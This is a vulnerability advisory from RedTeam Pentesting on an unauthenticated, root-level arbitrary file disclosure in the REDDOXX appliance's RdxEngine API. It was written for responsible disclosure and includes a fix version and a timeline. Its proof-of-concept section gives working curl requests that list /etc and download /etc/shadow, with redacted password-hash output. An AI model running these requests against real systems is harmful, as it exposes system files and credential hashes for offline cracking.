RedTeam Pentesting GmbH

Arbitrary File Disclosure with root Privileges via RdxEngine-API in REDDOXX Appliance

RedTeam Pentesting discovered an arbitrary file disclosure vulnerability in the REDDOXX appliance software, which allows unauthenticated attackers to list directory contents and download arbitrary files from the affected system with root permissions.

Details

Product: REDDOXX Appliance
Affected Versions: Build 2032 / v2.0.625, older versions likely affected too
Fixed Versions: Version 2032 SP2
Vulnerability Type: Arbitrary File Disclosure
Security Risk: high
Vendor URL: https://www.reddoxx.com/
Vendor Status: patch available
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2017-006
Advisory Status: published
CVE: GENERIC-MAP-NOMATCH
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=GENERIC-MAP-NOMATCH

Introduction

“REDDOXX is a leading supplier of solutions for e-mail archiving, encrypted and digitally signed e-mail traffic as well as spam protection. Our focus is on technological innovation: taking our cue from our clients’ requirements our competent and quality-conscious employees strive to offer you the best possible products at all times. Using stringent quality standards and proven processes we keep developing our company and products continuously, with the goal of continuous improvement.”

(from the vendor’s homepage)

More Details

When using the user frontend of the REDDOXX appliance (https://www.reddoxx.com/en/) reachable via http://www.example.com/rws/user/, HTTP POST requests are used to perform certain actions. For example, the following request is used to save the settings of the current user’s profile:

POST /RdxEngine/json HTTP/1.1
Host: www.example.com
[...]
Content-Type: application/x-www-form-urlencoded
Content-Length: 210
Connection: close

{
    "method": "CoreService.SaveUserProfile",
    "params": {
        "Profile": {
            "UseHtmlMail": true,
            "DefaultArchiveDisplayPeriode": "5",
            "ReportLanguage": "en",
            "EnableQueueReport": true
        }
    },
    "id": "{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}"
}

Through analysis of the .NET binaries pertaining to this endpoint, extracted from the appliance ISO offered on the vendor’s homepage (https://my.reddoxx.com/documents/manual/en/custdl/product-downloads), the methods handling these requests were examined. For the “SaveUserProfile” method, which is specified through the POST parameter “method”, the code is as follows:

// Reddoxx.Api.Legacy.CoreServiceService
public void SaveUserProfile(TRoUserProfile Profile)
{
    try
    {
        this.client.OnStartRequest("CoreService", "SaveUserProfile");
        this.Service.SaveUserProfile(Profile);
        this.client.OnEndRequest("CoreService", "SaveUserProfile");
    }
    catch (System.Exception e)
    {
        this.client.HandleException("CoreService", "SaveUserProfile", e);
    }
}

The “TroUserProfile” class contains information about the parameters that are required for valid requests to this method:

namespace Reddoxx.Api.Legacy
{
    [...]
    public class TRoUserProfile : ComplexType
    {
        private string __ReportLanguage;

        private int __DefaultArchiveDisplayPeriode;

        private bool __EnableQueueReport;

        private bool __UseHtmlMail;

        [...]
    }
}

These variable names correspond to the POST parameters contained in the request that was created when the profile was saved. With this knowledge about how methods are called and parameters are passed, it was attempted to call other methods from different packages. It was determined that it is possible to access certain methods which allow reading arbitrary files and directory listings.

It was later discovered that the process handling requests to the vulnerable methods runs with root privileges.

Proof of Concept

At least two methods are found to be of interest for attackers: FileTransfer.GetDirectoryList, which returns a directory listing for a path specified via a parameter, and FileTransfer.DownloadFile, which returns the file specified via a parameter in Base64-encoded form. The following curl command-lines can be used to call the respective methods:

$ curl --silent --data-binary '{"id":"{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}",'\
'"method":"FileTransfer.GetDirectoryList","params":{"Directory": "/etc/"}}' \
'http://www.example.com/RdxEngine/json' | jq '.result.FileInfoList[].FileName'
"chatscripts"
"gtk-2.0"
"xen"
"dbus-1"
"request-key.d"
"smartmontools"
"console"
"skel"
"xml"
"initramfs-tools"
"sysctl.d"
"pear"
"sudoers.d"
"cron.monthly"
"rc5.d"
"init"
"byobu"
"pki"
"xpdf"
"cron.weekly"
"snmp"
"ld.so.conf.d"
[...]

Since the process handling the requests runs with root privileges, it was also possible to read the contents of the file “/etc/passwd”:

$ curl --silent --data-binary '{"id":"{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}",'\
'"method":"FileTransfer.DownloadFile","params":{"FileName": "/etc/shadow",'\
'"Sequence": 1,"ChunkSize": 10000}}' 'http://www.example.com/RdxEngine/json' \
| jq -r .result.ChunkData | tr -d '\r\n' | base64 -d
root:$6$XXXXXXXX$YYYYYYY[...]YYYYYYYY:14993:0:99999:7:::
daemon:*:16652:0:99999:7:::
bin:*:16652:0:99999:7:::
sys:*:16652:0:99999:7:::
sync:*:16652:0:99999:7:::
games:*:16652:0:99999:7:::
man:*:16652:0:99999:7:::
lp:*:16652:0:99999:7:::
mail:*:16652:0:99999:7:::
news:*:16652:0:99999:7:::
uucp:*:16652:0:99999:7:::
proxy:*:16652:0:99999:7:::
www-data:*:16652:0:99999:7:::
backup:*:16652:0:99999:7:::
list:*:16652:0:99999:7:::
irc:*:16652:0:99999:7:::
gnats:*:16652:0:99999:7:::
nobody:*:16652:0:99999:7:::
libuuid:!:16652:0:99999:7:::
syslog:*:16652:0:99999:7:::
messagebus:*:16899:0:99999:7:::
sshd:*:16899:0:99999:7:::
vboxadd:!:16899::::::
statd:*:16899:0:99999:7:::
admin:$1$XXXXXXXX$ZZZZZZZZZZZZZZZZZZZZZZ:14054:0:99999:7:::
clamav:!:16899:0:99999:7:::
ntp:*:16899:0:99999:7:::
hacluster:!:16899:0:99999:7:::
firebird:*:16899:0:99999:7:::
redis:!:16899:0:99999:7:::
snmp:*:16899:0:99999:7:::
bind:*:16899:0:99999:7:::
smbadmin:!:17037:0:99999:7:::
smbuser:!:17037:0:99999:7:::

Workaround

None

Fix

Update the appliance software to Version 2032 SP2.

Security Risk

Attackers with access to a REDDOXX appliance are able to retrieve directory listings and content of arbitrary files. Although this vulnerability requires attackers to submit a valid session ID, the vulnerabilities described in rt-sa-2017-004 (https://www.redteam-pentesting.de/advisories/rt-sa-2017-004) and rt-sa-2017-005 (https://www.redteam-pentesting.de/advisories/rt-sa-2017-005) show how this requirement can be fulfilled even by attackers without valid credentials. Additionally, the RdxEngine process handling the requests to the vulnerable methods runs with root privileges, allowing attackers to read any file on the filesystem and, for example, extract the local user hashes for offline brute-force attacks. This vulnerability is therefore rated as a high risk.

Timeline

2017-05-17 Vulnerability identified
2017-05-23 Customer approved disclosure of vulnerability
2017-05-26 Customer provided details of vulnerability to vendor
2017-07-20 Vulnerability reported as fixed by vendor
2017-07-24 Advisory released

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